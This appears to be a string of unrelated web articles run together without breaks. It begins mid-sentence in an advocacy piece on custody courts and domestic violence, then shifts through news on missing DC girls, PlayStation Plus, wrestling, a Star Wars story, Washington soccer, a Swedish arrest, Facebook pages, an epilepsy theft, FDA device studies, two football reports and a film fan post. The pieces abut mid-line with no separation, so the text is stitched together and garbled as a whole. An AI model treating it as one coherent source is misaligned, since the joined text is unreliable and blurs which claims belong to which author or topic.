intersect with her parental rights? Surely, charges of “failure to protect” can be used against her if she or the child is harmed. But what happens when women flee such relationships or try to deny abusive parents access to their children? Does either the judicial system or society support her in her efforts to protect her children? Do we believe her? Provide her with protection? Deny abusers access to children? We are actually witnessing an erosion of protections of women and children in abusive relationships. In this article, I examine the ways in which policies that reflect social biases painting women as “vindictive” liars, combine with the efforts of both alleged abusers to fight to regain control of their wives and children and fathers’ rights proponents are harming women and children trying to escape abuse. Get the facts, direct to your inbox. Subscribe to our daily or weekly digest. SUBSCRIBE Approximately 100,000 contested child custody cases occur each year in the U.S. Two-thirds of these involve domestic violence, committed overwhelmingly (90 percent) by fathers, according to Harvard’s Jay Silverman, in a forward to the book Domestic Violence, Abuse, and Child Custody. Research finds that men who assault their wives are also likely to abuse their children. While we are likely to believe that the protective parent would gain custody, this is not often the case. In contested custody cases, men who seek custody get it up to 84 percent of the time. The Leadership Council on Child Abuse and Interpersonal Violence estimates that approximately 58,000 children a year go into unsupervised, joint or sole custody with an abusive parent. What’s a mother to do to protect herself and her child? Failure to protect In a recent case our judicial system was tested and failed. Katie Tagle sought a restraining order on Jan. 21, 2010 against her ex-boyfriend Stephen Garcia to stop him from having unsupervised visitation with their nine-month-old child. She told the judge Garcia threatened to kill the infant. The judge thought she was lying. The court transcript records Judge Robert Lemkau as saying, “One of you is lying…” And later, “Mr. Garcia claims it’s total fabrication on your part.” Garcia also referred to it as “little stunts and games” that “she used” to deny him access to his son. Even when she mentions the evidence of the threats, he says, “Well, ma’am, there’s a real dispute about whether that’s even true or not.” And finally, “My suspicion is that you’re lying…” (said twice). He denied her the order (as did two other judges). Garcia took their son that day and drove off into the mountains. Ten days later they were both found dead. If this were only an isolated case, it might end there. But it’s not. Within two weeks of the Garcia-Tagle case, on February 8, 20-year-old Nicholas Bacon shot his nine-month-old son and then himself. Bacon had joint custody. Shortly after these two cases, 34-year-old Jesus Roman Fuentes shot his four-year-old son during a court-ordered visitation. The boy died at the hospital. The father, who had also shot himself, died this past week. And following on these three cases, Mark Resch shot his seven-year-old son during a scheduled visitation and then committed suicide. The apparent motive was revenge against his estranged wife. In this case, the wife sought two orders of protection and police removed a gun from the household. Evidently, the family court judge still believed this man was a safe parent. Mark A. Guenther was charged in the murder of his 18-month-old daughter this month. According to a commenter named Brokenhearten, who posted a comment on the news article: Her mother tried and tried to get something done so that she did not have to go see her father. She had DFS out to his house, they found nothing…She filed for an order of protection on a couple different occassions…they were dismissed…She refused to let her see her dad until her back was up to the wall…the court systems had tied her hands and she had no other choices but to let her sweet baby go to her dads house and hope that everything was ok… Once again, parental rights trumped safety and the system meant to protect children ignored the dangers identified by the mother. Family court and fathers’ rights = A deadly combination Historically, battered women have had problems retaining custody of their children. Mainly this was due to how they present; in a word, poorly. They cry, they’re frightened, they appear anxious and even hostile. Now add to this mix the Fathers’ Rights movement, a group referred to as anti-feminist, backlash and even, the “Abusers’ Lobby” and you have what amounts to a catastrophe, if not a deadly combination, for women and children. (In contrast, positive parenting or responsible fatherhood groups often work as allies with women.) The Fathers’ rights movement (along with many Men’s rights activists), has introduced policies such as “friendly parent” policies, joint custody, punishment for false allegations and various syndromes to family courts across the country (as well as in many Western countries and in India). Most of these policies seem beneficial on the surface — but have hidden dangers lurking underneath. In today’s courts with friendly parent policies, a battered woman will look anything but friendly. So who gets custody? The one who appears most likely to share parenting responsibilities. Often enough, the batterer. Joint custody is another policy that sounds fair in principle, but experts warn it is not ideal for couples with high conflict. Family court is, however, known to be “the place” for couples with moderate-to-high conflict. Most couples (roughly 85 percent) resolve parenting plans themselves. Those that can’t, and often enough those with some prior history of abuse or control, go to family court. Fathers’ rights groups would like to see family courts enforce presumptive or mandated shared custody. Experts in domestic violence would not. Domestic violence experts also cringe at the idea of punishing false allegations, something the fathers’ rights groups actively promote. Since accusations of abuse can be difficult to prove – with evidence and witnesses – this can serve to punish parents for alleging abuse. Punishment deters reporting. Parents can be fined, jailed or denied custody if the judge doesn’t believe their accusation. Domestic violence expert Barry Goldstein says, “Research has established that fathers in contested custody cases are 16 times more likely than mothers to make false allegations. It is not that men are more dishonest, but 90 percent of contested custody cases involve abusive fathers seeking custody to pressure their partner to return or punish her for leaving. Although fathers are more likely to make false charges, courts are more likely to believe them.” Parental alienation (PA) or parental alienation syndrome (PAS), the idea that a parent poisons the mind of the child(ren), is another idea introduced within the last two decades by fathers rights groups. Developed by Dr. Richard Gardner, PAS is highly controversial. Proponents claim parents (mostly mothers) turn their children against the other parent. Opponents claim PAS can mask child abuse. Indeed, research by Jay Silverman found 54 percent of cases with documented abuse were in favor of abusers. PAS was used in nearly every case. In many of the cases I’ve cited, had the women tried to deny the fathers access to the children, they could’ve been countered with “alienation” or the judge could’ve immediately transferred custody over to the more “friendly” parent. In a case stemming from November, for example, Danielle Horvat fled with her three-and-a-half-year-old boy, Garrett Aguilar on a day that she had a dispute with the boy’s father, David Aguilar. She stopped at one domestic violence shelter. Despite the fact that police did not investigate her claims of abuse, the court immediately transferred custody over to the father, as they often do when parents flee. The incredible lightness of domestic violence Thanks to the aid of the Internet, (mostly) men that make claims of being falsely accused or alienated find support, encouragement and targets for their anger — which is aimed at their exes, or women in general and feminists in particular. Individuals and groups that promote studies referring to domestic violence as 50-50 or “mutual” also find supporters within this crowd. Many of these claims are based on studies that rely on self-reportage or pick up common couple violence. Their limitations include using self-report; not picking up severe violence or homicide; not putting violence into context (was it used for self-defense?); and not including violence during separation (the most dangerous time for a woman). What the promotion of these studies has done is introduce the element of doubt. If you combine this with women’s low credibility (due to societal bias and the biases of the legal system), you have danger. Take the case of Timothy Frazier. In May 2009, Frazier convinced police his ex-girlfriend Candice Dempsey was a threat to their 21-month-old son. While Frazier made it very clear to police he did not have custody, police readily handed his son over to him. Two weeks later, both were found dead. Even when the woman is believed, it is not often the father will have his parental rights terminated. Last year, Octavious Dupree Gilmore punched his ex-girlfriend in the head and threatened to kill her, their two kids and himself. The Gaston Gazette reported him as saying, “”…(I)f I can’t have you, nobody can,” Gilmore allegedly told her. “I’ll kill you, the kids, then myself.” He was charged but later released. According to the article, he was told to “have no contact with the accuser outside of their child custody agreement,” (emphasis mine). Despite an assault and death threats, the judge believed this man to be a safe parent. In another case, charges of domestic violence were not given much weight, as they were not placed in context of the abuser’s history. Craig Alan Wall, Sr. was a suspect in his 5-week-old son’s death. He violated a protection order when he went to his son’s memorial. The prosecutor never mentioned that Wall was a suspect in his son’s case or that he had served a 14-year prison sentence for armed robbery. The judge released Wall on $1,000 bail. Two days later, he stabbed his ex-girlfriend (the child’s mother) to death. She was 29 and left behind a 6-year-old son. Fathers rights do not trump women and children’s safety In many of these cases, the women are doing what they are “supposed to do:” reporting domestic violence, filing orders of protection, using shelters, and so on
runaways in the city, but as many point out, those girls are either running away from something or toward something. “The difficult thing is some of these kids do go missing multiple times,” said Acting Police Chief Peter Newsham. “When they go missing, guess what? You have a child out there and there are people in our community that will prey on those children.” Some community members lined up to speak to city officials. The meeting also became heated, with people shouting criticisms at the city leaders. Back in February, FOX 5 first noticed an alarming amount of tweets detailing missing girl cases. In the past 24 hours, there were four new cases at one time. The statistics do not show an spike in missing person cases among juveniles when compared to previous years, which is perhaps even more alarming. Here is the number of juveniles reported missing over the last five years, according to D.C. police’s website: 2017: 501 (as of March 22) 2016: 2,242 2015: 2,433 2014: 2,222 2013: 2,067 2012: 2,610 The reason we are noticing more about these missing person cases is due to efforts by a new Commander Chanel Dickerson. She decided to make sure every case gets the same attention and is posted on social media. RELATED: New commander brings extra awareness to missing DC children In fact, until a few weeks ago, D.C. police’s website only listed one missing person – the high-profile case of Relisha Rudd. Their website now been updated and there are at least 10 active missing cases involving girls 18 years old and under. “One child missing is one too many,” said Derrica Wilson, president of the Black and Missing Foundation. “It is not so much about the numbers. It is about the ones that are missing, what we can do to get them safe.” There is concern about the role social media plays, particularly when it comes to the threat of human trafficking. “It is a blessing and it is a curse,” said Wilson. “We are utilizing this tool to get these faces out there to find the missing and they are using these tools to recruit.” On Wednesday, a post on Instagram claiming to be from Chareah Payne, who is currently missing after she was last seen on Friday in Southwest D.C., said she was safe but ran away due to poor foster care conditions. Her whereabouts remain unknown. “Just because you see text from your loved one or you see a Facebook post from your loved one, it doesn’t necessarily mean they are okay,” Chief Newsham warned. “We got to keep looking for them until we get them back home.” Mayor Muriel Bowser is promising more effort will be made to follow up once a child is found and reunited with their family. “We are also figuring out how we can better support that family so that kids are in school, kids are in safe homes or we identify other solutions for that family,” said Bowser. There was an outcry for additional mental health services for children at the meeting and some people were also irate over the fact that we see a lack of Amber Alerts for all these missing persons cases. The police chief pointed out under federal guidelines, police need to have a reasonable belief that an abduction has occurred and that the child is imminent danger of serious bodily injury or death. Newsham said their hands are tied under the federal guidelines with a lot of cases, but he urged for people to contact lawmakers if they want to see a change with Amber Alerts. Other Related Stories: DC officials: No increase in missing person reports in DC 'Alarming' number of missing DC children catching attention of social media, communityGetting your game noticed isn’t always easy. Limited advertising budgets can often mean that developers and publishers are forced to try to find alternative, cheaper ways to get themselves and their games out there into an ever increasingly crowded market. For gamers in the know, it’s easy enough to keep an eye on what’s due out each week, but how many of us know which digital download titles are released when, and at what cost? Even though PlayStation now detail each week’s Store output, a title can be lost in the list and forgotten forever. For some developers – indie ones in particular – getting a game onto the PlayStation Plus promotion can be crucial, and more so than you might think. [videoyoutube]”Being on PlayStaton Plus has been great for us,” says Futurlab’s James Marsden, developers of minis hit Velocity. “As a relatively unknown studio with limited (zero) marketing budget, we’d have found it very hard to achieve an install base of 100,000 units and more, but with PlayStation Plus we achieved that in just over a fortnight.” Impressive figures, but the game was available free to Plus subscribers – so what’s in it for the developer? Officially details are kept confidential, but we assume that there’s enough in it for both parties to make it a worthwhile venture, and allowing the studios to concentrate on the game. And the knock-on effects can be hugely positive. If a Plus offer expires, gamers will have heard about the title and are generally more likely to go looking for it and buy it, and then there’s always the chance that if they like the game they’ve downloaded, they’ll look for others from the same developer. “The word now appears to be spreading,” confirmed James when we spoke to him last, “and gamers have also discovered our previous title Coconut Dodge, which has seen a significant sales boost!” “We see Plus as a great opportunity for our publishing partners as well as our consumers,” said Ross McGrath, SCEE’s PlayStation Plus Product Manager to TheSixthAxis. “For publishers, Plus opens up new revenue streams via an alternative business model, marketing and promotional opportunities across all PlayStation channels, as well as promoting brand awareness and franchise engagement.” And for the customer? “We simply wanted to build a great value proposition with the Instant Game Collection – more than 45 quality games for around the price of a single Blu-ray, in addition to hundreds of pounds of savings and exclusive features” It sounds like PR talk, but it’s technically true, as others will confirm. “Being on PlayStation Plus in Europe has been a great experience,” agreed Stewart Gilray, CEO of Just Add Water, whose Stranger’s Wrath HD was part of the recent Plus promotion unveiled at E3. “It’s raised the awareness of the game and of us,” he told TheSixthAxis. “We’ve seen great feedback and that’s been very encouraging for us.” Naturally, it’s not just the indies that benefit from being part of the deal. For established publishers with top tier titles that have ceased selling months ago, the added exposure to the brand can be invaluable. For example, THQ’s inclusion of both Warhammer 40,000 and Darksiders will surely see a knock on effect when the sequel to the latter releases soon. Gamers will be familiar with the IP, and that’s only a good thing for a publisher releasing a title into the market. It’s free advertising, of a style, and the benefit surely outweighs the fact that the games are being given away for nothing. [drop]Mike Kebby, Digital Campaigns Manager at SEGA Europe, only has great things to say about the way PlayStation Plus-promoted games can reach a wider audience. “With Virtua Fighter we know we have a franchise with an extremely hardcore following, but we really wanted to ensure that we introduced the latest iteration [VF5: Final Showdown] to as many new players as possible,” he told us. “We’ve found that PlayStation Plus was a perfect way to do this, as well as ensure we made a big noise about the title’s release, it’s great to reach out to lots of potential new fans,” he continued. “VF5: Final Showdown has done very well for us since launch, and we’re glad to have continued our strong relationship with SCE by offering it to PS Plus subscribers for free.” It appears that the numbers can be substantial, too, and in the case of Renegade Ops, close to the sort of figures the game did at launch. “We can see that our multiplayer mode is starting to hit peaks similar to those at launch,” said Kebby. “It’s extremely important for a title like Renegade Ops to engage the online player-base, where the main focus, and most fun way of playing it, is to connect with friends online.” Plus is a major part of Sony’s PlayStation strategy – it was heavily hinted at before E3 and going forward is arguably massive value for gamers. Just now you can grab the likes of LittleBigPlanet 2 and other AAA first party games as part of a monthly subscription, and the deals normally associated with the scheme are starting to appear on the Vita, too. It’s encouraging to read that developers are coming off better as well as gamers, something that we don’t see often enough. It also appears to forge close relationships between the platform holder and studios, and hopefully that’ll ultimately mean more free games for us.Well folks, it appears that everyone's favorite comedic wrestler will be sidelined for the foreseeable future. According to F4WOnline.com (via WrestlingInc.com): Santino Marella suffered a neck injury at Friday night's WWE live event in Austin, Texas. He was taken off the road to be evaluated but there is no word yet on the severity of the injury. Santino was replaced by Jamie Noble in a match against Tensai on Saturday night. Like him or not, you can't deny that Santino is a workhorse for the WWE. Overall, he rarely misses a show and always comes out ready to preform. Ultimately, his work is overshadowed by many of today's top stars, simply because wrestling ability will always take precedence over comedic timing. Which is completely understandable, as former WWE star Colt Cabana knows, funny doesn't always equal money. However, since his debut in 2007, Santino has still witnessed some moderate success with the company. In fact, he has been given several title reigns throughout his WWE tenure. You may remember, his first reign happened during his inaugural match with the company, as he won the IC title from Umaga. A few years later, he was given another run with the title, then found himself in the mix for the WWE tag titles alongside then partner Vladimir Kozlov. The pair would go on to win the titles and hold them for about two months. Then, in 2012, Santino was again rewarded for his hard work, as the WWE not only gave him a U.S. title run, but they also entered him in the SmackDown Elimination Chamber match for the World title. In the end, Santino will be missed by some, while others will be glad to have a break from him. Either way, you can't deny that he has had a solid career and stands to have continued success.John Jackson Miller Writing Kenobi Short Story For Insider Posted by Eric on Del Rey's Erich Schoeneweiss first announced this on The ForceCast's Jedi Journals, and now it has been confirmed on Facebook: John Jackson Miller, author of the forthcoming novel Star Wars: Kenobi, has written a short story for Star Wars Insider #143 that ties into Kenobi and is called "Incognito." Chris Scalf did the art that will accompany the story, including the piece above (click the thumbnail for the full view). Here's how Del Rey's Frank Parisi describes the story on Facebook: This adventure takes place right after REVENGE OF THE SITH, with Obi-Wan Kenobi and young Luke Skywalker contending with some entanglements en route to Tatooine. Think of it as a STAR WARS version of LONE WOLF AND CUB, only without all the arterial spraying. #143, featuring this short story, will be on sale on July 23.by David Falk BREMERTON, WA — The Kitsap Pumas are winners in both leagues they play in. The Bremerton-based club has a national title in the Premier Development League (PDL) outdoors. They also have a history of success in the winter playing indoor soccer in the Premier Arena Soccer League (PASL.) Are the Pumas coming back to indoor soccer this winter? When contacted by email, club owner Robin Waite told goalWA.net “At this point it doesn’t look like we will.” It looks like further winter nights at the Olympic Sports Center are now in jeopardy. The club isn’t saying anything officially yet, but there were murmurs last year that perhaps playing indoors was dropping down the list of Pumas priorities. This despite the fact the Pumas are one of the top-drawing indoor clubs in the state. Last year attendance was down a bit. Meanwhile, the club’s “Pro Youth Academy” has blossomed. Privately there was a tug-and-pull for Pumas players who were also coaches. Upon occasion the academy won out over indoor soccer. Publicly, Waite and the Pumas have not been pleased with the PASL. There are annual scheduling issues, inside politics, league administration conflicts and the costs of success: paying for trips to nationals. During the 2012-13 PASL season Kitsap Pumas player Yuma Inagawa was badly injured during a match. The league was slow to respond with the needed paperwork. Waite went public with his concerns. Last season the Pumas pulled out of the PASL playoffs, irking players and fans, and eventually embarrassing themselves a bit as an organization when they turned around and decided to play the playoff match anyway, as a “friendly.” Since then the Olympic Sports Center has changed owners, another moving part in this story. Now the Western Indoor Soccer League (WISL) has been launched, and many of the Pumas’ biggest indoor rivals are headed over to the new, locally-run league. As of now, Kitsap does not appear to be joining them. Owners of the WISL clubs continue to reach out to the Pumas in hopes they might find a fresh start in the new league. Indoor soccer fans in Kitsap County have a second glimmer of hope. It’s possible that the WestSound FC Men, who play in the Evergreen Premier League, may have enough player interest to field a team in the WISL. The issue then becomes who would operate the team. The WISL is founded by some of the same owners / operators who also have clubs in the outdoor EPLWA. WestSound FC is changing their name to Kitsap Alliance and there are other internal moves that might put indoor soccer on the back burner for the youth club. goalWA.net Local Soccer News is sponsored by Pro Roofing Northwest, Kirkland, Bellevue, Seattle, Redmond, Woodinville, Federal Way, Everett, Snohomish, Issaquah, Renton, Kent, Bothell, Edmonds Washington roofing company. AdvertisementsThe sword-carrying man approached the Storbron bridge in the centre of the city at around 7pm on Saturday, reports NA. The 23-year-old man, who was not previously known to police, pressed the sword against the neck of another man, according to a witness who spoke to NA. “As we were looking for him, he approached a patrol and raised the sword. When he did not lower it, police fired a warning shot,” duty officer Jan-Åke Sjöström of Bergslagen District Police told TT. Following the warning shots, the man released his weapon, whereby police were able to over power and arrest him. He was arrested on suspicion of making unlawful threats and threats against police officers. Nobody is reported to have suffered injury during the incident. READ ALSO: Man bearing two knives shot dead by police.- Facebook has restored more than 25 Catholic pages in Portuguese and English that were blocked yesterday, citing a malfunction in the system. In a statement to ACI Prensa, a Facebook spokesperson said, "The pages were reestablished. The incident was a malfunction of the spam detection mechanism in our platform. We sincerely apologize for any inconvenience this may have caused." Between the night of July 17 and the morning of July 18, Facebook unpublished more than 25 pages in at least three languages - English, Portuguese and Spanish - without giving an initial explanation to page administrators. The blocked Catholic pages each had between hundreds of thousands and 9 million followers. Hours after CNA and other media published a story about the blocked pages, around 1 a.m. in the morning July 19, all blocked pages had been returned to normal. In statements collected by ChurchPop.com, Carlos René, administrator of the page "Papa Francisco Brazil," said that the page was available again "without notification. I just realized that it was already on the air." While Facebook has now clarified the incident, the site did not immediately provide an explanation to page administrators for the restorations. The owners and administrators of sites such as "Father Rocky," "Catholic and Proud," and "Jesus" and said they simply realized that their pages had returned after seeing their accounts were back online. In 2016, Facebook came under fire for allegedly censoring trends to news deemed "conservative." On that occasion, Mark Zuckerberg rejected the allegations of censorship, and met with conservative U.S. leaders to assure them Facebook's neutrality. In the past, user accounts have also been inadvertently blocked on Facebook due to system glitches, or numerous complaints against the page in a short time period. In these cases, Facebook restored the accounts after reviewing their content. Update 9:02 pm: A previous version of this story said that at least 25 pages in Portuguese and English with up to 6 million followers had been unpublished. The story has been updated to reflect that additional pages in English and Spanish had been unpublished before being restored, one page with 9 million followers. We regret the error.Naomi Strain had her bag stolen while having an epileptic fit near Stoke, Nelson. The mother of the boys who took the bag agreed to do a first aid course. A Nelson woman who had her possessions stolen after suffering a seizure has healed wounds with the culprits in the most practical way possible – enrolling them in a first aid course. Naomi Strain suffers from uncontrolled epilepsy, which restricts her ability to get about in the outdoors. "I have one or two a week, sometimes – a lot of the time I'll stay at home to make sure I'm not having them out in public but at the same time I don't want to just sit around doing nothing so I do take myself off on my own and do things," she said. Strain was riding her bike on the coastal track between Stoke and Richmond this week when she felt a fit coming on. READ MORE Keeping a sense of humour with epilepsy Talk About It month for epilepsy awareness Journalist sent seizure-causing tweet, threatens legal action While she had enough time to chain her bike to a bench before the seizure took hold, when she came around she realised her backpack had gone, along with her bike helmet, wallet and medical ID. Strain estimated that she lost around 90 minutes each time she had a seizure due to memory loss beforehand and during the recovery period which often made her confused and drowsy. BRADEN FASTIER Naomi Strain had her bag stolen after having an epileptic fit near Stoke. After enduring another seizure once she got home, Strain put a plea for her bag's return on social media. Through the Nelson Pay-it-Forward Facebook page, Strain was contacted by a woman who told her she may have found her bag and possessions - at the bottom of her sons' wardrobe. "She was so embarrassed - mortified really - but said: 'Did I want her to drop it at the police station or meet up?'." BRADEN FASTIER Naomi Strain was riding her bike when she had an epileptic seizure. When she came to, she realised she had been robbed. Strain went to the "lovely" family's home where she came face to face with the two siblings responsible, aged 13 and 14. "Apparently the elder brother had dared the younger one [to take it] - they'd both come across me, were sht scared and didn't know what to do so they just grabbed the bag and ran. "I think it was literally a spur of the moment thing, playing silly buggers with no thought into it at all." BRADEN FASTIER Naomi Strain has had her faith restored in humanity after dealing with mother of the boys who stole her bag. Once Strain explained how the theft affected her, the conversation turned to restorative justice. The brothers offered to carry out some work for her, but she had a more practical suggestion. As well as making the boys pay to have her bank cards replaced, she asked both to attend a first aid course which everyone agreed to. "She could give me a few quid and it wouldn't mean anything, but if they can go off and learn what to do in the future – if they came across somebody in the same situation they'll be able to do something about it," she said. Strain said the mother had a lot of support on Facebook for confronting the boys and admitting her son's actions. She did not have to do that. "They've learned a damn lesson and their mum is lovely and very, very apologetic. "They're just kids and they probably freaked out so they were not thinking straight and laughing, joking and taking the piss is a bit of a defence mechanism and a lot easier to deal with." If you come across a person having a seizure:By Andrew M. Seaman NEW YORK (Reuters Health) - Information on the safety and effectiveness of medical devices before and after they are cleared by U.S. health regulators can be improved, according to two new studies. One study found many U.S. Food and Drug Administration (FDA)-cleared medical devices meant to be implanted in the body were not backed by publicly available evidence that they are similar to a device already on the market. “Let the buyer beware before getting an implant in their body, because there may be no evidence the implant is going to benefit them and no study done in case it might harm them,” said Diana Zuckerman, the study’s lead author and president of the National Center for Health Research in Washington, D.C. The new report is not the first time researchers have criticized the process the FDA uses to evaluate many medical devices. In 2011, the Institute of Medicine issued a report that the medical device evaluation process known as 510(k) is fatally flawed and should be replaced. The FDA, which requested the report, disagreed. (See Reuters story of July 29, 2011 here: reut.rs/qAKdUv.) The 510(k) process allows medical devices to get to market faster if they are “substantially equivalent” to devices already being sold. Certain information that’s submitted to the FDA about the devices must be made publicly available as a summary, Zuckerman and her colleagues write in JAMA Internal Medicine. For the new study, the researchers evaluated the publicly available information for implantable devices cleared by the FDA through the 510(k) process between 2008 and 2012. Because those devices are supposed to be similar to another device already on the market, the researchers also looked at the available information for those original devices. Overall, they were looking for information on 50 devices cleared between 2008 and 2012 and 1,105 previously cleared devices. They found enough evidence to support the claim that eight (or 16 percent) of the 50 new devices were substantially equivalent to previously cleared devices. Of those previously cleared devices, only 31 (or about 3 percent) were supported by publicly available evidence. “The study relied on publicly available information, and as noted by the authors, this information is generally limited because manufacturers are only required by law to provide either a safety summary or a safety statement for the public,” the FDA said in a statement to Reuters Health. “However, the FDA reviews a significant amount of data – far more than what is publicly available – to determine whether or not to clear an implantable device under a 510(k). This approach has served the American public well by balancing the need for robust evidence to assure safety while expeditiously bringing new technologies to the patients who need them,” the statement continued. Zuckerman said the companies are not providing sufficient summaries of its evidence, which are required by law. “I think this is a report card going forward,” she said. “Clearly the FDA and companies are failing to provide information to doctors and patients so they can make reasonable judgments to affect their lives.” In another study in the same journal, researchers led by Ian Reynolds at The Pew Charitable Trusts in Washington, D.C. found that barriers may decrease the usefulness of studies completed after medical devices are approved by the FDA. The researchers found the FDA ordered more than 223 studies for 158 medical devices between the start of 2005 and the end of 2011. Only one of the studies led to an action by the FDA other than a change of the devices label. “We encourage the agency to work together with all stakeholders to evaluate how these studies can more effectively be used to improve the public health,” they write. In a commentary accompanying the new study, Elisabeth Dietrich from the University of California, San Francisco and Maryland’s Secretary of Health and Mental Hygiene Dr. Joshua M. Sharfstein write that the FDA has already taken steps to address many of the issues pointed out in the new studies. “It is important to recognize and support this progress, even as the FDA’s performance continues to be monitored through research and oversight,” they write. SOURCES: bit.ly/1xusqo1, bit.ly/1u6xFYp, bit.ly/1wRBQqJ and bit.ly/Zl8KFp JAMA Internal Medicine, online September 29, 2014.Liverpool vs Newcastle United full match video, highlights, interviews and match report Posted on November 4th, 2012 \| \| Liverpool vs Newcastle United full match video first half. Liverpool vs Newcastle United full match video second half. Liverpool v Newcastle United highlights, (brief) match report, match details and post match interviews. Highlights from the game between Liverpool and Newcastle United at Anfield. As usual, I shall post better highlights when they become available (along with some post match interviews). It was a case of “same old same old” from Pardew at the start as Liverpool were all over the Magpies at the start. However, they were also rather sterile when it came to the crunch and couldn’t put a goal past the obstinate newcastle defence. So, for once this season, Newcastle United weren’t a goal or two down before the inevitable improvement came. As usual though, it took some exceptional play from two of the usual suspects, Hatem Ben Arfa and Yohan Cabaye to combine for an opening goal for the Magpies. Ben Arfa’s silky dribbling skills took him through two Liverpool players before he floated in a great cross to the far post for his fellow Frenchman. Cabaye more than kept his end up too with an excellent finish from what looked like a very tricky angle. However, Newcastle didn’t have a monopoly on individual brilliance, something which Luis Suarez proved in the 67th minute with another excellent goal, this time for the Reds of course. With some irony for a team managed by the vainglorious, self styled high priest of tippy tappy football, Liverpool’s breakthrough fianlly came from a classic “route one” goal, albeit executed with excellent style by Suarez on the other end. He controlled a long ball with his shoulder whilst holding off Coloccini. He then manoevred his way past Krul in the Newcastle goal to casually slip the ball into the net in what was an excellent individual goal for the Uruguayan hitman. By this time the match was an excellent contest which was almost (but not quite) living up to some of the previous classics between these two sides. The drama wasn’t over too, with Fabricio Coloccini picking up a stright red card (and missing the next three games) for a “studs up” tackle on the aforementioned Suarez. On closer inspection, he seemed to pull out and hardly made any contact. However, by the letter of the law, it can happen if studs are lifted in such a fashion so off went Captian Colo for the next three Premiership games! He seemed to have it in for Suarez throughout the game though, making other challenges on the player which also could have been carded in what was an uncharacteristic performance for el Capitano. Though the game carried on in a very exciting fashion, there were no more goals on either side and it ended as yet another draw for the Magpies. that’s five draws in ten Premiership games for the Silver Supremo now as site user “toontony” helpfully pointed out a few minutes ago. Score / Goal scorers. Liverpool 1 (Luis Suarez 67), Newcastle United 1 (Cabaye 43). Teams / Match facts. Liverpool (4-2-3-1): Brad Jones (G), Andre Wisdom, Martin Skrtel, Daniel Agger, Jose Enrique; Joe Allen, Nuri Sahin; Raheem Sterling, Steven Gerrard (C), Suso, Luis Suarez. Subs: Peter Gulacsi (G), Sebastian Coates, Jamie Carragher, Jordan Henderson, Jonjo Shelvey, Oussama Assaidi, Stewart Downing. Newcastle United (4-4-2): Tim Krul (G), Vurnon Anita, Steven Taylor, Fabricio Coloccini (C), Davide Santon, Hatem Ben Arfa, James Perch (Danny Simpson 27), Yohan Cabaye, Jonas Gutierrez, Papiss Cisse, Demba Ba (Sammy Ameobi 50). Substitutes: Steve Harper (G), Shane Ferguson, Mike Williamson, Gael Bigirimana, Gabriel Obertan, Sammy Ameobi, Shola Ameobi. Yellow cards: None. Red cards: Fabricio Coloccini (84). Referee:Anthony Taylor (Manchester). Attendance: 44,803. Post match interviews. Alan Pardew post match interview. Brendan Rodgers post match interview. Are you looking to get all of the latest betting odds so that you can place a bet on an upcoming Football match? Why not check out all of the latest odds at bwin Sportsbook today! Poll NUFCBlog Author: workyticket workyticket has written 1057 articles on this blog. Related Posts:by COLEMAN LARNED, Lead Analyst New York Red Bulls clinched an MLS playoff berth with two goals at the death of the first half in a 2-0 victory against a toothless Portland Timbers side. After a dominant first half performance from New York with a new personnel look, the visiting Red Bulls conceded midfield control and defended crosses as a result until the final whistle. With Dax McCarty having to sit due to yellow card accumulation and the regular season’s end drawing closer, Jesse Marsch deemed this an opportunity for significant trials of stamina, impact and positional flexibility. The four changes from a team where nine players start at least 75% of matches were: Davis for McCarty at CM, Zizzo for Lade at RB, Shaun Wright-Phillips for Grella at LM and Veron for Sam at RM. Caleb Porter found himself and his team in a different position in relation to a playoffs prior to the match. Seeded as the last playoff spot in the Western Conference, Portland needed to spawn consistency from a team that gained 10 from a possible 27 points in their last 9 matches (2-4-3). As RBNY clinched a playoff birth in impressive fashion as the first MLS team to do so this season, with the highest PPG (points per game) total (1.71), tied for most total points (48) and the best GD (goal differential) (17), I will highlight the necessary personnel changes made during the match. Sal Zizzo @ RB Sal Zizzo slotted in as expected for Connor Lade — a move that indicates Marsch is trying to find a position for Zizzo as Grella has cemented himself in the starting role and Sean Wright-Phillips provides a more dynamic option in the wide, left channel. I thought Zizzo was consistently exposed in his defensive judgement, but showed the ability to break down the right flank and provide an option in possession. What was curious was his positioning in relation to the most positionally advanced Portland midfielder, Melano. Zizzo’s average position was well beyond that of Melano’s, which caused 1v1 scenario’s with RBNY CB Miazga, which he fortunately handled like a player who needs a USMNT call up. Key Stats: 1 assist, 1/3 accurate crosses, dispossessed 3 times Davis @ CM Sean Davis’ performance was a tale of two halves. His first half was defined by covering the most ground of the two CM’s, connecting possession in all thirds of the field (29 total passes, 20 in offensive half) and consistently breaking up Portland’s play. His second half was offensively ineffective (15 total passes, 7 in offensive half) and as the game turned into a series of reciprocated transitions, the pace didn’t suit him. His languid playing style, sharp technique and large frame allowed him to positively affect many game variables. As he hasn’t had the chance to get consistent, first team minutes, the understanding of balanced responsibility, which McCarty and Felipe have developed over the season, was absent and therefore the depth on both sides of the ball was lacking from the pair. Key Stats: 43 pass (76.7% PA, 27 in offensive half), 2 interceptions, 5 clearances, 1 blocked shot Shaun Wright-Phillips @ LM Shaun Wright-Phillips was the least influential of the four highlighted players. His first touch was amateurish in the first half and he was defensively non-existent throughout his appearance. It will take time for SWP to get accustomed to match speed once again after such a lengthy absence from the game, so Jesse Marsch is rightfully banking on the potential. Signs of raw speed, unpredictability on the ball and a learned understanding with his brother were evident, but mostly didn’t come off for the winger. As he tended to drift inside to combine, his touch and ability in tight spaces let him down, allowing for Lawrence to overlap and provide another offensive option deep in the left channel. Key Stats: 5 shots (0 on target), 32 passes, 2 attempted dribbles (take-ons) Gonzalo Veron @ RM Gonzalo Veron provided a constant threat as an outlet, wide on the touchline for RBNY. His sense of when to stay away from possession and to create width for his side was complemented by his ability and willingness to check to the interior and find the ball at the right moments. The winger proved two key aspects of his game that will be beneficial going forward: his ability to get out of tight spaces individually against multiple defenders and his willingness to directly drive at defenders while maintaining possession through balance and strength. His width and directness provided a change of pace in RBNY’s transition, and pinned his opposing defender deep into his own half. Jesse Marsch has options with which to react to opposition with, or to continue to impress his style upon the opposition with his wide right midfielders (Sam and Veron). Key Stats: 96.2% PA (passing accuracy), 4 key passes, 7 crosses© Dreamworks nothing to see here.................................................................LOL omg I love this movie so much, and the details... the details is killing meAnd the movie guys... tHE MOVIE...Go watch it. Go. Just grab your money and throw it to the cinema near you. You will laugh, you will laugh even more, and then you will never stop crying over the beautiful story of these wonderful bastards!...As you can see, I'm still dealing with the 5 stage of grief thing here.In short, this movie is great. it's worth twice your time. And I hope you enjoy the movie as much as I do...............................................................Gosh, not a single one of these babies has a 